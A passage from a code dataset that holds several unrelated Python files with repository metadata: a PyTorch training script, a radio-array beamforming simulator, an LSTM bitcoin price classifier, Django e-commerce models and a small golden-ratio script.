update weights\n loss = criterion(output,target)\n\n loss.backward()\n optimizer.step()\n # =================================================\n epoch_loss.append(loss.item())\n epoch_acc.append(calc_acc(output, target))\n\n train_acc += calc_acc(output, target)\n train_loss += loss.item()\n\n\n train_acc /= len(train_loader)\n train_loss /= len(train_loader)\n\n epoch_acc = np.mean(epoch_acc)\n epoch_loss = np.mean(epoch_loss)\n train_pic['loss'].append(epoch_loss)\n train_pic[\"accuracy\"].append(epoch_acc)\n end_time = time.time()\n total_time = end_time - start_time\n\n\n return train_acc, train_loss, epoch_acc, epoch_loss\n\n\ndef validation(model, device, valid_loader, criterion, valid_pic):\n epoch_loss= []\n epoch_acc= []\n # ===============================\n # TODO 6: switch the model to validation mode\n model.eval()\n # ===============================\n valid_acc = 0.0\n valid_loss = 0.0\n\n # =========================================\n # TODO 7: turn off the gradient calculation\n with torch.no_grad():\n\n # =========================================\n for data, target in valid_loader:\n data, target = data.to(device), target.to(device)\n\n output = model(data)\n\n\n # ================================\n # TODO 8: calculate accuracy, loss\n loss = criterion(output,target)\n epoch_loss.append(loss.item())\n epoch_acc.append(calc_acc(output, target))\n\n\n valid_acc += calc_acc(output, target)\n valid_loss += loss.item()\n # ================================\n\n\n valid_acc /= len(valid_loader)\n valid_loss /= len(valid_loader)\n\n epoch_acc = np.mean(epoch_acc)\n epoch_loss = np.mean(epoch_loss)\n valid_pic['loss'].append(epoch_loss)\n valid_pic[\"accuracy\"].append(epoch_acc)\n\n return valid_acc, valid_loss, epoch_acc, epoch_loss\n\n# Add Source def\nclass Source_image(Dataset):\n\n def __init__(self,data,tfm,files = None):\n super(Source_image).__init__()\n self.data = data\n self.transform = tfm\n if files != None:\n self.data = files\n \n \n def __len__(self):\n return len(self.data)\n \n def __getitem__(self,idx):\n # fname = self.data[idx]\n # im = Image.open(fname)\n # im = self.transform(im)\n # #im = self.data[idx]\n # if self.label is not None:\n # return im, self.label[idx]\n # else:\n # return im\n\n fname = self.data[idx]\n im = Image.open(fname)\n im = self.transform(im)\n #im = self.data[idx]\n try:\n label = int(fname.split(\"/\")[-1].split(\"_\")[0])\n except:\n label = 1 # test has no label\n return im,label\n\ndef train_valid_split(data_path, valid_ratio, seed):\n data_set = []\n for root, dirs, file in os.walk(data_path):\n for f in file:\n if f.endswith(\".png\"):\n data_set.append(os.path.join(root,f))\n valid_set_size = int(valid_ratio * len(data_set)) #0.2*2496\n print(valid_set_size)\n train_set_size = len(data_set) - valid_set_size\n train_set, valid_set = random_split(data_set, [train_set_size, valid_set_size], generator=torch.Generator().manual_seed(seed))\n for i in range(0,valid_set_size):\n dirs = str((valid_set[i])[39:40])\n des_path = f\".\\\\NYCU_DL\\Deep_learning\\HW2\\data\\\\valid\\\\{dirs}\"\n if not os.path.exists(des_path):\n os.mkdir(des_path)\n shutil.move(valid_set[i],des_path)\n return train_set, valid_set\n\n\n\ndef main():\n # ==================\n # TODO 9: set device\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n print(device)\n # ==================\n\n # ========================\n # TODO 10: hyperparamete rs\n # you can add your parameters here\n LEARNING_RATE = 0.001\n BATCH_SIZE = 8\n EPOCHS = 60\n # TRAIN_DATA_PATH = \"\"\n DATA_PATH = \".\\\\NYCU_DL\\Deep_learning\\HW2\\data\"\n MODEL_PATH = 'model.pt'\n ratio = 0.2\n seed = 0\n train_pic = {\"loss\" : [], \"accuracy\" : [], \"time\" : []}\n val_pic = {\"loss\" : [], \"accuracy\" : [], \"time\" : []}\n best_acc = 0.0\n # ========================\n\n\n # ===================\n # TODO 11: transforms\n train_transform = transforms.Compose([\n # may be adding some data augmentations?\n transforms.Resize((128,128)),\n # transforms.CenterCrop(100),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n ])\n # ===================\n valid_transform = transforms.Compose([\n transforms.Resize((128,128)),\n # transforms.CenterCrop(100),\n transforms.ToTensor(),\n transforms.Normalize([0.5, 0.5, 0.5], [0.5, 0.5, 0.5])\n ])\n\n # =================\n # TODO 12: set up datasets\n # hint: ImageFolder?\n if not os.path.exists(DATA_PATH+f'\\\\valid'):\n os.mkdir(DATA_PATH+f'\\\\valid')\n print('Start split the data')\n train_source,valid_source = train_valid_split(os.path.join(DATA_PATH,\"train\"), ratio, seed)\n train_data=dset.ImageFolder(os.path.join(DATA_PATH,\"train\"),transform=train_transform)\n valid_data=dset.ImageFolder(os.path.join(DATA_PATH,\"valid\"),transform=valid_transform)\n\n # train_data = Source_image(train_source, tfm=train_transform)\n # valid_data = Source_image(valid_source, tfm=valid_transform)\n # =================\n\n # ============================\n # TODO 13 : set up dataloaders\n train_loader = DataLoader(train_data, batch_size=BATCH_SIZE, shuffle=True)\n valid_loader = DataLoader(valid_data, batch_size=BATCH_SIZE, shuffle=True)\n # ============================\n\n # build model, criterion and optimizer\n model = Net().to(device).train()\n # ================================\n # TODO 14: criterion and optimizer\n criterion = nn.CrossEntropyLoss()\n optimizer = torch.optim.AdamW(model.parameters(), lr=LEARNING_RATE)\n # ================================\n\n\n # training and validation\n train_acc = [0.0] * EPOCHS\n train_loss = [0.0] * EPOCHS\n valid_acc = [0.0] * EPOCHS\n valid_loss = [0.0] * EPOCHS\n\n print('Start training...')\n for epoch in range(EPOCHS):\n print(f'epoch {epoch} start...')\n\n train_acc[epoch], train_loss[epoch], epoch_acc, epoch_loss = training(model, device, train_loader, criterion, optimizer, train_pic)\n valid_acc[epoch], valid_loss[epoch], epoch_acc, epoch_loss = validation(model, device, valid_loader, criterion, val_pic)\n\n if float(valid_acc[epoch]) > best_acc:\n print (\"The best is:\", valid_acc[epoch])\n torch.save(model.state_dict(), MODEL_PATH)\n best_acc = valid_acc[epoch]\n\n print(f'epoch={epoch} train_acc={train_acc[epoch]} train_loss={train_loss[epoch]} valid_acc={valid_acc[epoch]} valid_loss={valid_loss[epoch]}')\n print('Training finished')\n\n # ==================================\n # TODO 15: save the model parameters\n # best_acc = 0.0\n # if {valid_acc[epoch]} > best_acc:\n # print (\"The best is:\", valid_acc[epoch])\n # torch.save(model.state_dict(), MODEL_PATH)\n # ==================================\n\n\n # ========================================\n # TODO 16: draw accuracy and loss pictures\n # lab2_teamXX_accuracy.png, lab2_teamXX_loss.png\n # hint: plt.plo\n x = EPOCHS+1\n print(x)\n print(train_pic[\"loss\"])\n print(val_pic[\"loss\"])\n plt.title(\"Loss\")\n plt.plot(np.arange(1, x, 1), train_pic[\"loss\"], color = 'blue') #21 = ephoe + 1 \n plt.plot(np.arange(1, x, 1), val_pic[\"loss\"], color = 'yellow')\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Loss\")\n plt.show()\n\n #Accuracy\n plt.title(\"Accuracy\")\n plt.plot(np.arange(1, x, 1), train_pic[\"accuracy\"], color = 'blue')\n plt.plot(np.arange(1, x, 1), val_pic[\"accuracy\"], color = 'yellow')\n plt.xlabel(\"Epochs\")\n plt.ylabel(\"Accuracy\")\n plt.show()\n # =========================================\n\n\nif __name__ == '__main__':\n main()","repo_name":"AlexKuoTW/MNIST","sub_path":"lab2_team09/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":10723,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"3048106556","text":"\"\"\"\nBeamformer functions.\n\"\"\"\n\nimport numpy as np\n\nfrom numba import jit\nfrom astropy.constants import c\nfrom scipy.special import sph_harm\nfrom scipy.interpolate import interp2d\n\n__version__ = '1.0'\n__authors__ = ['Chris DiLullo', 'Jayce Dowell']\n__all__ = ['generate_uniform_weights', 'generate_gaussian_weights',\n 'calc_geometric_delays', 'beamform']\n\ndef generate_uniform_weights(station):\n \"\"\"\n Return a weighting vector with uniform weights (w = 1.0 for all elements)\n for a given Station object.\n \n Inputs:\n * Station object\n\n Returns:\n * Array of size len(station.antennas)\n \"\"\"\n\n w = np.ones( len(station.antennas) )\n return w\n\ndef generate_gaussian_weights(station, freq=60e6, azimuth=0.0, elevation=90.0, fwhm=5.0):\n \"\"\"\n Return a weighting vector with Gaussian weights relative\n to the station geometric center for a custom beam with\n a given main lobe FWHM (deg) at a given frequency (Hz)\n and az/el pointing center (deg).\n\n See DiLullo, Taylor, and Dowell (2020) for a description of the method.\n\n Inputs:\n * station - Station object\n * freq - Frequency [Hz]\n * azimuth - Azimuth Eastward of North [deg]\n * elevation - Elevation above horizon [deg]\n * fwhm - FWHM of the main lobe [deg]\n\n Returns:\n * Array of size length len(station.antennas)\n \"\"\"\n\n #Make sure the pointing center is valid.\n if azimuth < 0 or azimuth > 360:\n raise ValueError(\"Pointing center azimuth is out of the valid range [0, 360]\")\n if elevation < 0 or elevation > 90:\n raise ValueError(\"Pointing center elevation is out of the valid range [0, 90]\")\n\n #Create the arrays containing antenna positions, cable delays,\n #and cable attenuations.\n xyz = np.array([(a.x, a.y, a.z) for a in station.antennas]).T\n att = np.sqrt( np.array([a.cable.attenuation(freq) for a in station.antennas]) )\n\n #Compute the center of the array and reframe the station.\n center = np.mean(xyz, axis=1)\n\n xyz2 = xyz - np.array([ [center[0]], [center[1]], [0] ])\n\n #Compute the rotation matrix which describes the transformation from xyz to XYZ.\n rot = np.array([ [np.cos(azimuth*np.pi/180), -np.sin(azimuth*np.pi/180), 0.0],\n [np.sin(azimuth*np.pi/180), np.cos(azimuth*np.pi/180), 0.0],\n [0.0, 0.0, 1.0] ])\n\n #Transform from xyz to XYZ.\n XYZ = np.matmul(rot, xyz2)\n\n #Compute the necessary baselines in the perpendicular (X) and parallel (Y)\n #directions of the station for the given pointing center.\n d_X = (c.value / freq) / (fwhm * np.pi/180)\n d_Y = d_X / np.sin(elevation * np.pi/180)\n\n #Compute the standard deviation in both the X and Y directions\n #for a Gaussian whose full width at fifth maximum (FWFM) is d_X\n #and d_Y.\n sigma_X = d_X / (2.0 * np.sqrt(2.0 * np.log(5.0)) )\n sigma_Y = d_Y / (2.0 * np.sqrt(2.0 * np.log(5.0)) )\n\n #Compute the weights.\n w = att * np.exp( -(XYZ[0,:]**2 / (2.0*sigma_X**2) + XYZ[1,:]**2 / (2.0*sigma_Y**2)) )\n\n return w\n\ndef calc_geometric_delays(station, freq=60e6, azimuth=0.0, elevation=90.0):\n \"\"\"\n Calculate the geometric delays between station elements\n for a given frequency (Hz) and az/el pointing center (deg).\n\n Inputs:\n * station - Station object\n * freq - Frequency [Hz]\n * azimuth - Azimuth Eastward of North [deg]\n * elevation - Elevation above horizon [deg]\n\n Returns:\n * Delays array of size length len(station.antennas)\n \"\"\"\n\n #Make sure the pointing center is valid.\n if azimuth < 0 or azimuth > 360:\n raise ValueError(\"Pointing center azimuth is out of the valid range [0, 360]\")\n if elevation < 0 or elevation > 90:\n raise ValueError(\"Pointing center elevation is out of the valid range [0, 90]\")\n \n #Create the array that contains the positions of the station elements.\n xyz = np.array([(a.x, a.y, a.z) for a in station.antennas]).T\n\n #Compute the station center.\n center = np.mean(xyz, axis=1)\n\n #Build a unit vector that points in the direction of the pointing center.\n k = np.array([np.cos(elevation*np.pi/180)*np.sin(azimuth*np.pi/180),\n np.cos(elevation*np.pi/180)*np.cos(azimuth*np.pi/180),\n np.sin(elevation*np.pi/180)])\n\n #Compute the element poitions with respect to the center\n #and then compute the time delays relative to that pointing\n #direction in seconds.\n xyz2 = (xyz.T - center).T\n\n delays = np.dot(k, xyz2) / c.value\n\n #Get the cable delays.\n cbl = np.array([a.cable.delay(freq) for a in station.antennas])\n\n #Take cable delays into account.\n delays = cbl - delays\n\n return delays\n\n@jit(nopython=True)\ndef _computeBeamformedSignal(freq, az, el, xyz, cbl, t, w, att, pol1, pol2, vLight):\n\n pwr1 = az*0.0\n pwr2 = az*0.0\n\n for i in range(az.shape[0]):\n for j in range(az.shape[1]):\n #Get the pixel coordinates.\n a, e = az[i,j], el[i,j]\n \n #Convert this to a pointing vector and compute\n #the physical delays across the array.\n k = np.array([np.cos(e)*np.sin(a),np.cos(e)*np.cos(a), np.sin(e)])\n t_p = cbl - np.dot(k, xyz) / vLight\n\n #Calculate the beamformed signal in this direction.\n sig = w*np.exp(-2j*np.pi*freq*(t_p - t)) / att\n\n #Sum and square the results.\n pwr1[i,j] = np.abs( np.sum(sig[pol1]) )**2\n pwr2[i,j] = np.abs( np.sum(sig[pol2]) )**2\n\n return pwr1, pwr2\n\ndef beamform(station, weights=None, delays=None, freq=60e6, azimuth=0.0, elevation=90.0, resolution=1.0, ant_gain_file=None, ant_corr_file=None, dB=False, verbose=True):\n \"\"\"\n Given a weighting vector and beam_simulator.Station object,\n simulate the beam pattern on the sky for a given frequency\n and pointing.\n\n Inputs:\n * station - Station object\n * w - Weighting array\n * freq - Frequency [Hz]\n * azimuth - Azimuth Eastward of North [deg]\n * elevation - Elevation above horizon [deg]\n * resolution - Simulation resolution [deg]\n * ant_gain_file - Antenna gain file output by nec.combine_harmonic_fits (.npz)\n * ant_corr_file - Empirical correction to an antenna gain pattern. This is only designed for the LWA.\n * dB - Convert final simulated power to dB\n\n Returns:\n * 2-D array of shape (360/resolution X 90/resolution)\n \"\"\"\n\n #Make sure the pointing center is valid.\n if azimuth < 0 or azimuth > 360:\n raise ValueError(\"Pointing center azimuth is out of the valid range [0, 360]\")\n if elevation < 0 or elevation > 90:\n raise ValueError(\"Pointing center elevation is out of the valid range [0, 90]\")\n \n #Create the arrays containing antenna positions, cable delays,\n #and cable attenuations.\n xyz = np.array([(a.x, a.y, a.z) for a in station.antennas]).T\n cbl = np.array([a.cable.delay(freq) for a in station.antennas])\n att = np.sqrt( np.array([a.cable.attenuation(freq) for a in station.antennas]) )\n \n #Create the azimuth, elevation, and power arrays at the desired resolution.\n ires = int(round(1.0/min([1.0, resolution])))\n az = np.arange(0,360*ires+1,1) / ires\n el = np.arange(0,90*ires+1,1) / ires\n el, az = np.meshgrid(el,az)\n\n #Convert az and el to radians.\n az, el = az*np.pi/180.0, el*np.pi/180.0\n\n #If no custom delays are given, compute the delays across the array for\n #the desired pointing center.\n if delays is None:\n t = calc_geometric_delays(station=station, freq=freq, azimuth=azimuth, elevation=elevation)\n else:\n t = delays\n \n #If no custom weights are given, apply uniform weighting across the array.\n if weights is None:\n w = generate_uniform_weights(station=station)\n else:\n w = weights\n\n #Figure out which elements correspond to each polarization and ignore bad antennas.\n pol1 = [i for i,a in enumerate(station.antennas) if a.status == 1 and a.pol == 1]\n pol2 = [i for i,a in enumerate(station.antennas) if a.status == 1 and a.pol == 2]\n w[[i for i, a in enumerate(station.antennas) if a.status == 0]] = 0.0\n\n pol1 = np.array(pol1)\n pol2 = np.array(pol2)\n\n #Beamform.\n if verbose:\n print(f'Simulating beam pattern for a pointing at {azimuth:.2f} deg azimuth, {elevation:.2f} deg elevation at {freq/1e6:.2f} MHz')\n\n pwr1, pwr2 = _computeBeamformedSignal(freq=freq, az=az, el=el, xyz=xyz, cbl=cbl, t=t, w=w, att=att, pol1=pol1, pol2=pol2, vLight=c.value)\n\n #Multiply by the dipole gain pattern (this assumes pattern multiplication is valid).\n try:\n #Check to see if a file generated by the utility functions in nec.py is present.\n beam = np.load(ant_gain_file)\n deg = beam['deg']\n \n #Get the coefficients for both polarizations.\n coeffs1 = beam['coeffs1']\n coeffs2 = beam['coeffs2']\n\n #If given, load in the empirical correction to the antenna gain pattern.\n try:\n correction = np.load(ant_corr_file)\n corr_freqs, corr_alts, corr = correction['freqs'], correction['alts'], correction['corrs']\n intp = interp2d(corr_alts, corr_freqs, corr, kind='cubic')\n corr = intp(el[0,:]*180.0/np.pi, freq/1e6)\n if verbose:\n print('Loaded in empirical correction to the antenna gain pattern')\n except:\n corr = np.ones(el.shape[1])\n pass\n\n #If a beam file has been supplied, see if it uses spherical harmonic decomposition.\n try:\n lmax = beam['lmax']\n phi = (-(az - np.pi/2) + 2*np.pi) % (2*np.pi)\n theta = (np.pi/2) - el\n\n #Read the coefficients and evaluate the polynomial at the desired frequency.\n for i, coeffs in enumerate([coeffs1, coeffs2]):\n terms = np.polyval(coeffs, freq/1e9)\n gain = np.zeros(az.shape, dtype=np.complex64)\n\n #Evaluate the antenna gain by computing the appropriate spherical harmonic series.\n t = 0\n for l in range(lmax+1):\n for m in range(0, l+1):\n Ylm = sph_harm(m, l, phi, theta)\n gain += terms[t]*Ylm\n t += 1\n\n antGain = np.real(gain)\n\n #Apply the correction and normalize\n antGain *= corr\n antGain /= antGain.max()\n\n #Multiply the power array by the antenna gain pattern. \n if i == 0:\n pwr1 *= antGain\n else:\n pwr2 *= antGain\n \n except KeyError:\n for i, coeffs in enumerate([coeffs1, coeffs2]):\n gain = np.polyval(coeffs, freq/1e9)\n \n #The beam pattern is at 1 deg resolution.\n #Match it to the desired resolution.\n gain = gain.reshape((361,91))\n\n antGain = np.zeros(az.shape)\n for j in range(az.shape[0]):\n for k in range(az.shape[1]):\n antGain[j,k] = gain[j//ires, k//ires]\n \n #Apply the correction and normalize\n antGain *= corr \n antGain /= antGain.max()\n \n #Multiply the power array by the antenna gain pattern. \n if i == 0:\n pwr1 *= antGain\n else:\n pwr2 *= antGain\n except:\n if verbose:\n print('No antenna gain pattern given. The output power array only accounts for the geometry of the array!')\n else:\n pass\n\n #Return the beam pattern.\n pwr1 /= pwr1.max()\n pwr2 /= pwr2.max()\n pwr = np.stack((pwr1, pwr2), axis=0)\n \n if dB:\n return 10*np.log10(pwr)\n else:\n return pwr\n","repo_name":"cdilullo/beam_simulator","sub_path":"beam_simulator/beamformer.py","file_name":"beamformer.py","file_ext":"py","file_size_in_byte":11885,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"9098346955","text":"\"\"\"\nlstmApp\nAuthor: Nicholas Fentekes\n\nDemonstration LSTM model to predict categorical price increases greater than a\nspecified tolerance from current and past indicators as input.\nDataset must be built by datasetBuild.py or conform to its schema.\n\"\"\"\nimport numpy as np\nimport math\nimport tensorflow as tf\nimport pandas as pd\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Embedding, LSTM\nfrom keras.callbacks import EarlyStopping\nfrom sklearn.preprocessing import MinMaxScaler\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.preprocessing import normalize\nfrom math import sqrt\nfrom numpy import concatenate\nfrom pandas import read_csv\nfrom pandas import DataFrame\nfrom pandas import concat\nimport argparse\npd.options.display.max_columns = 999\ny_name = 'CategoricalIncrease'\nWEEKLY_TRAIN_PATH = \"data/btcpricetrainingdataweekly2.csv\"\nWEEKLY_TEST_PATH = \"data/btcpricetestingdataweekly2.csv\"\nDAILY_TRAIN_PATH = \"data/btcpricetrainingdatadaily2.csv\"\nDAILY_TEST_PATH = \"data/btcpricetestingdatadaily2.csv\"\nHR12_TRAIN_PATH = \"data/btcpricetrainingdata12hr2.csv\"\nHR12_TEST_PATH = \"data/btcpricetestingdata12hr2.csv\"\nCSV_COLUMN_NAMES = list((pd.read_csv(HR12_TEST_PATH)).columns.values)\nCSV_COLUMN_NAMES[0]=\"Index\"\nCATEGORICALINCREASE = ['NoIncreaseMoreThanTol', 'IncreaseMoreThanTol']\nparser = argparse.ArgumentParser(description='Specify LSTM hyperparameters')\nparser.add_argument('-layers', metavar='L', type=int, nargs='+', default=2,\n help='Number of LSTM layers')\nparser.add_argument('-layer_size', metavar='S', type=int, nargs='+', default=75,\n help='Integer value for the size (numer of neurons) of each LSTM layer')\nparser.add_argument('-epochs', metavar='E', type=int, nargs='+', default=250,\n help=\"Number of epochs to train\")\nparser.add_argument('-batch_size', metavar='B', type=int, nargs='+', default=16,\n help='Batch size to train on')\nargs = parser.parse_args()\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n\tn_vars = 1 if type(data) is list else data.shape[1]\n\tdf = DataFrame(data)\n\tcols, names = list(), list()\n\tfor i in range(n_in, 0, -1):\n\t\tcols.append(df.shift(i))\n\t\tnames += [('var%d(t-%d)' % (j+1, i)) for j in range(n_vars)]\n\tfor i in range(0, n_out):\n\t\tcols.append(df.shift(-i))\n\t\tif i == 0:\n\t\t\tnames += [('var%d(t)' % (j+1)) for j in range(n_vars)]\n\t\telse:\n\t\t\tnames += [('var%d(t+%d)' % (j+1, i)) for j in range(n_vars)]\n\t# put it all together\n\tagg = concat(cols, axis=1)\n\tagg.columns = names\n\t# drop rows with NaN values\n\tif dropnan:\n\t\tagg.dropna(inplace=True)\n\treturn agg\n\ndef main(argv):\n\t#Setup dataset\n\tdataset = pd.read_csv(HR12_TRAIN_PATH, header=0, index_col=0)\n\ttemp = dataset[\"SupportLine1\"].tolist()\n\ttempList \t= dataset[\"SupportLine1\"].tolist()\n\ttempList2\t= dataset[\"SupportLine2\"].tolist()\n\ttempList3\t= dataset[\"SupportLine3\"].tolist()\n\tfor i in range(len(tempList)):\n\t\tif np.isinf(dataset.iloc[i][\"SupportLine1\"]):\n\t\t\ttempList[i]\t = tempList[i-1]+dataset[\"SupportSlope1\"].tolist()[i-1]\n\t\t\ttempList2[i] = tempList[i]\n\t\t\ttempList3[i] = tempList[i]\n\tdataset[\"SupportLine1\"]=tempList\n\tdataset[\"SupportLine2\"]=tempList2\n\tdataset[\"SupportLine3\"]=tempList3\n\ttrainWeights = []\n\tfor i in range(len(dataset[\"Close\"])-1):\n\t\tif(dataset['Close'].tolist()[i]/dataset['Close'].tolist()[i+1]<=0.98):\n\t\t\ttrainWeights.append(abs(dataset['Close'].tolist()[i]-dataset['Close'].tolist()[i+1])/dataset['Close'].tolist()[i])\n\t\telse:\n\t\t\ttrainWeights.append(abs(dataset['Close'].tolist()[i]-dataset['Close'].tolist()[i+1])/dataset['Close'].tolist()[i])\n\ttrainWeights.append(0)\n\tfor i in range(len(trainWeights)):\n\t trainWeights[i]=trainWeights[i]/max(trainWeights)*2\n\tvalues = dataset.values\n\t# integer encode direction\n\tencoder = LabelEncoder()\n\tvalues[:,36] = encoder.fit_transform(values[:,36])\n\tvalues = values.astype('float64')\n\t# normalize features\n\tscaler = MinMaxScaler(feature_range=(0, 1))\n\tscaled = scaler.fit_transform(values)\n\t# frame as supervised learning\n\treframed = series_to_supervised(scaled, 1, 1)\n\t# split into train and test sets\n\tvalues = reframed.values\n\tn_train_hours = math.floor(len(dataset[\"Open\"])*0.8)\n\ttrain = values[:n_train_hours, :]\n\ttest = values[n_train_hours:, :]\n\t# split into input and outputs\n\ttrain_X, train_y = train[:, :-1], train[:, -1]\n\ttest_X, test_y = test[:, :-1], test[:, -1]\n\t# reshape input to be 3D [samples, timesteps, features]\n\ttrain_X = train_X.reshape((train_X.shape[0], 1, train_X.shape[1]))\n\ttest_X = test_X.reshape((test_X.shape[0], 1, test_X.shape[1]))\n\ttrainWeights = np.array(trainWeights[:n_train_hours])\n\ttrainWeights = normalize(trainWeights[:,np.newaxis], axis=0).ravel()\n\t# design network\n\tMINIMUMLOSS=20\n\thistory = []\n\ttrain_y = [int(y) for y in train_y]\n\twith tf.device('gpu:0'):\n\t\tmodel1 = Sequential()\n\t\tif args.layers==1:\n\t\t\tmodel1.add(LSTM(args.layer_size, input_shape=(train_X.shape[1], train_X.shape[2]),activation='relu'))\n\t\telif args.layers>1:\n\t\t\tmodel1.add(LSTM(args.layer_size, input_shape=(train_X.shape[1], train_X.shape[2]),activation='relu',return_sequences=True))\n\t\t\tfor i in range(args.layers-1):\n\t\t\t\tmodel1.add(LSTM(args.layer_size,activation='relu',return_sequences=True))\n\t\t\tmodel1.add(LSTM(args.layer_size,activation='relu'))\n\t\tmodel1.add(Dense(1))\n\t\tmodel1.compile(loss='mae', optimizer='adam')\n\t\thist = model1.fit(train_X, train_y, epochs=args.epochs, batch_size=args.batch_size, class_weight={0:1,1:3},sample_weight=trainWeights,validation_data=(test_X, test_y), verbose=1, shuffle=False).history\n\t\t# make a prediction\n\t\tyhat = model1.predict_classes(x=test_X)\n\t\tnumberOf1s,numberOf0s = \t0,0\n\t\tsum0Correct,sum0Wrong =\t\t0,0\n\t\tsum1Correct,sum1Wrong =\t\t0,0\n\t\tfalseFlagsLoss = \t\t\t0\n\t\tfalseFlagsMissedGain =\t\t0\n\t\tgains =\t\t\t\t\t\t0\n\t\tfalseFlags1,falseFlags2 = \t0,0\n\t\ty, yh = test_y.tolist(),yhat.tolist()\n\t\tclose = dataset[\"Close\"].tolist()\n\t\tclose = close[n_train_hours:]\n\t\tfor i in range(len(yh)):\n\t\t\tif yh[i][0]!=0:\n\t\t\t\tif y[i]==0:\n\t\t\t\t\tfalseFlags1+=1\n\t\t\t\t\tif i'.format(self.image.url))\n # admin_photo.short_description = 'Image'\n # # admin_photo.allow_tags = True\n\n def __str__(self):\n return self.title\n\n class MPTTMeta:\n order_insertion_by = ['title']\n\n def get_absolute_url(self):\n return reverse('category_detail', kwargs={'slug': self.slug})\n\n\nclass Product(models.Model):\n STATUS = (\n ('True', 'True'),\n ('False', 'False')\n )\n VARIANTS = (\n ('None', 'None'),\n ('Size', 'Size'),\n ('Color', 'Color'),\n ('Model', 'Model'),\n ('Size-Color', 'Size-Color'),\n\n )\n category = models.ForeignKey(Category, on_delete=models.CASCADE)\n title = models.CharField(max_length=150)\n keyword = models.CharField(max_length=255)\n description = RichTextField(blank=True, null=True)\n image = models.ImageField(upload_to='images/', blank=True)\n price = models.FloatField()\n amount = models.IntegerField()\n minamount = models.IntegerField()\n variant = models.CharField(max_length=10, choices=VARIANTS, default='None')\n detail = RichTextField(blank=True, null=True)\n status = models.CharField(max_length=10, choices=STATUS)\n slug = models.SlugField(null=False, unique=True)\n create_at = models.DateTimeField(auto_now_add=True)\n update_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.title\n\n def image_tags(self):\n if self.image.url is not None:\n return mark_safe(''.format(self.image.url))\n else:\n return \"\"\n\n def get_absolute_url(self):\n return reverse('category_detail', kwargs={'slug': self.slug})\n\n def imageURL(self):\n try:\n url = self.image.url\n except:\n url = ''\n return url\n\n def avaregereview(self):\n reviews = Comment.objects.filter(\n product=self, status='True').aggregate(avarage=Avg('rate'))\n avg = 0\n if reviews[\"avarage\"] is not None:\n avg = float(reviews[\"avarage\"])\n return avg\n\n def countreview(self):\n reviews = Comment.objects.filter(\n product=self, status='True').aggregate(count=Count('id'))\n cnt = 0\n if reviews[\"count\"] is not None:\n cnt = int(reviews[\"count\"])\n return cnt\n\n\nclass Images(models.Model):\n product = models.ForeignKey(Product, on_delete=models.CASCADE)\n title = models.CharField(max_length=150)\n image = models.ImageField(upload_to='images/', blank=True)\n\n def __str__(self):\n return self.title\n\n\nclass Comment(models.Model):\n STATUS = (\n ('New', 'New'),\n ('True', 'True'),\n ('False', 'False'),\n )\n product = models.ForeignKey(Product, on_delete=models.CASCADE)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n subject = models.CharField(max_length=50, blank=True)\n comment = models.CharField(max_length=250, blank=True)\n rate = models.IntegerField(default=1)\n ip = models.CharField(max_length=20, blank=True)\n status = models.CharField(max_length=10, choices=STATUS, default='New')\n create_at = models.DateTimeField(auto_now_add=True)\n update_at = models.DateTimeField(auto_now=True)\n\n def __str__(self):\n return self.subject\n\n\nclass CommentForm(ModelForm):\n class Meta:\n model = Comment\n fields = ['subject', 'comment', 'rate']\n # widgets = {\n # 'name': TextInput(attrs={'class': 'input ', 'placeholder': 'Name & Surname...'}),\n # 'email': TextInput(attrs={'class': 'input ', 'placeholder': 'Your Email...'}),\n # 'subject': TextInput(attrs={'class': 'input ', 'placeholder': 'Your Subject...'}),\n # 'message': Textarea(attrs={'class': 'input ', 'placeholder': 'Your Message', 'rows': '5'}),\n # }\n\n\nclass Color(models.Model):\n name = models.CharField(max_length=20)\n code = models.CharField(max_length=10, blank=True, null=True)\n\n def __str__(self):\n return self.name\n\n def color_tag(self):\n if self.code is not None:\n return mark_safe('

    Color

    '.format(self.code))\n else:\n return \"\"\n\n\nclass Size(models.Model):\n name = models.CharField(max_length=20)\n code = models.CharField(max_length=10, blank=True, null=True)\n\n def __str__(self):\n return self.name\n\n\nclass Variants(models.Model):\n title = models.CharField(max_length=100, blank=True, null=True)\n product = models.ForeignKey(Product, on_delete=models.CASCADE)\n color = models.ForeignKey(\n Color, on_delete=models.CASCADE, blank=True, null=True)\n size = models.ForeignKey(\n Size, on_delete=models.CASCADE, blank=True, null=True)\n image_id = models.IntegerField(blank=True, null=True, default=0)\n quantity = models.IntegerField(default=1)\n price = models.DecimalField(max_digits=12, decimal_places=2, default=0)\n\n def __str__(self):\n return self.title\n\n def image(self):\n img = Images.objects.get(id=self.image_id)\n if img.id is not None:\n varimage = img.image.url\n else:\n varimage = \"\"\n return varimage\n\n def image_tag(self):\n img = Images.objects.get(id=self.image_id)\n if img.id is not None:\n return mark_safe(''.format(img.image.url))\n else:\n return \"\"\n","repo_name":"sanjoy-crypto/Django-Ecommerce","sub_path":"Product/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":6589,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29774246568","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Sep 15 17:14:40 2013\n\n@author: djk\n\"\"\"\n# Continued fraction to compute golden ratio\n\nimport math\nlevel = 10\nans = 1.0\n\nfor i in range (0 , level ):\n ans = 1.0 + (1.0 / ans )\n \nphi = 0.5 * (1 + math . sqrt (5) )\nprint (' Actual value of PHI is : ', phi)\nprint (' Approximation is : ', ans) ","repo_name":"David-Kerridge/useful-functions","sub_path":"src/golden_ratio.py","file_name":"golden_ratio.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"34172116800","text":"import re\n\nimport torch\nimport pytest\n\nfrom transformers import 